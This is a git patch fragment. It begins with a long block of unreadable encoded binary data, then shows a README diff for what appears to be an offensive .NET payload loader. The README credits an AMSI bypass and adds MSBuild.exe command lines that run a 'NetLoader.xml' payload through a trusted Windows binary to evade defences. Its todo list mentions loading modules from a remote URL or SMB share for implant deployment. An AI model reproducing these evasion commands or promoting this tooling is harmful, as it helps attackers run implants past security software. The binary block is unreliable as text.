zBMy3O(u*%_BucoY*9tcpwOX#$qPE_)n$>Ej$&`Q5d({_QuO-{*P1=k51k zPD^uIzP{d`5$K+1X&PI+mT@@#i^++EKNA{{*M+J-=!!47aO`r$;Cw7 zs_)a6xqRfe{i}Q#C3iT_MRVM=aH^t=RJl|AkmXf}GU9{Aoivd*8Qndy*CUS%%iiaN z(dRdM`-~%B%Kl+FkY)^=k%Pa;qdi7XKnO$FMWM)Z=~1@E=(iAOBUo?7Z(oT1px7H| zYu?{fu{ZG8fkTwKMT~2f3O?HDHq6eE*_rZFY^42o1nW%=dq|zgOmcP*9ifIU4XJlC zPsLA@Gek}BjsN*WqWl8o!GABkFbwco+G< zV=>;qQgkqsyM+jv%ZccU`plG3;K6dt#tO{Gd$9=b!!o=dtFa1e@BwT<-Op~^Kza{u z#Dn-C>NCe8n(bJPNAV$1E6foho5^?;Yw!%#p+1sZ@HMQ*Y21o$;Wqpbx8pbXFkZn& z@H?qau3V?SU0G_|AY5X#T9cENxt?hYQi)5y{02*;3(>~d>)fgp%-7kwRjx$aQP)u50me~`%U6 zC}tZOr;v3Mr_shm6ek?QDM|UhJp zf=6wRK|8H^7Huj}_@+K{fqb{7)bFu{7{|CO_b1u(Vs`2n_sFRKRyh}b+us!{C&ER= z^D%LAl?)fyqW>H!&iGR2-=v@lM8ABbT#hZHH2>!8TNn?LFtvb!n JzrFc#%-^OZZYux) diff --git a/README.md b/README.md index dec169e..9a2f1ef 100644 --- a/README.md +++ b/README.md @@ -21,10 +21,21 @@ As of 05.05.2020, pretty much clean as a whistle Credits to https://twitter.com/_RastaMouse for the AMSI bypass -> https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs +#LOLBins + +Payload for MSBuild is in the repo, might push this for varius other LOLBins aswell. + + For 64 bit: + C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe NetLoader.xml + + For 32 bit: + C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe NetLoader.xml + # Todo - [ ] Automate the build and release of many of the Sharp Tools so they automagically appear in /Binaries (CDI / Azure DevOps) - [ ] Add support for non-interactive use (input args) - [X] Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment) - [ ] Add some missing stuff SharpSploit and SharpShell (Need to fix some deps) - [ ] Propely confirm and test every current bin -- [ ] Add an working MSBuild XML payload for the LOLBins lovers (Myself included) +- [X] Add an working MSBuild XML payload for the LOLBins lovers (Myself included) +- [ ] Update with credits and links to the github repos that /Binaries are compiled from